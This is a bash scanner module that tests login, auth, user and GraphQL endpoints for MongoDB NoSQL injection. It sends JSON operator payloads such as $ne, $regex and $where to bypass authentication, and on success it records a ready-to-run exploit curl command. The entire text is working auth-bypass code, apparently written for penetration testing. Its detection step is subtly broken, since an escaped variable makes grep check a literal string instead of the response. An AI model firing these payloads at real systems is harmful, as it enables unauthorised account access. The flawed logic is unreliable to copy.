#!/usr/bin/env bash
# Vector 20: NoSQL Injection
# Desc: MongoDB injection via JSON operators ($ne, $gt, $regex)
# Detect: Node.js/Express apps, MongoDB backends
# Severity: HIGH
# Tools: curl

vector_nosqli() {
  local target="$1"
  local report="$2"
  local findings=0
  
  print_info "Testing NoSQL Injection vectors..."
  
  # Check for JSON content types or Node.js indicators
  local headers=$(curl -sI --connect-timeout 5 --max-time 10 "$target" 2>/dev/null)
  
  # Test POST endpoints
  local endpoints=("/login" "/api/login" "/auth" "/api/auth" "/user" "/api/user" "/graphql")
  local base=$(echo "$target" | sed 's|\(https\?://[^/]*\).*|\1|')
  
  for endpoint in "${endpoints[@]}"; do
    # NoSQL injection payloads
    local nosql_payloads=(
      '{"username":{"$ne":""},"password":{"$ne":""}}'
      '{"username":{"$gt":""},"password":{"$gt":""}}'
      '{"username":{"$regex":".*"},"password":{"$regex":".*"}}'
      '{"$where":"1==1"}'
      '{"username":"admin","password":{"$ne":""}}'
      '{"username":"admin","$where":"1==1"}'
    )
    
    for payload in "${nosql_payloads[@]}"; do
      local response=$(curl -s --connect-timeout 5 --max-time 10 \
        -X POST \
        -H "Content-Type: application/json" \
        -d "$payload" \
        "${base}${endpoint}" 2>/dev/null)
      
      if echo "\$response" | grep -qiE '"token"|"success":true|"loggedIn"|"authenticated"|200|"session"'; then
        print_find "NoSQL Injection!" "Authentication bypass via $endpoint"
        echo "SEVERITY: CRITICAL
VECTOR: NoSQL Injection
DETAIL: NoSQL injection on ${base}${endpoint}
EVIDENCE: Authentication bypass with $payload
EXPLOIT: curl -X POST ${base}${endpoint} -H 'Content-Type: application/json' -d '$payload'" > "$REPORTS_DIR/.finding_$(date +%s)_nosqli.txt"
        findings=$((findings + 1))
        break 2
      fi
    done
  done
  
  return $findings
}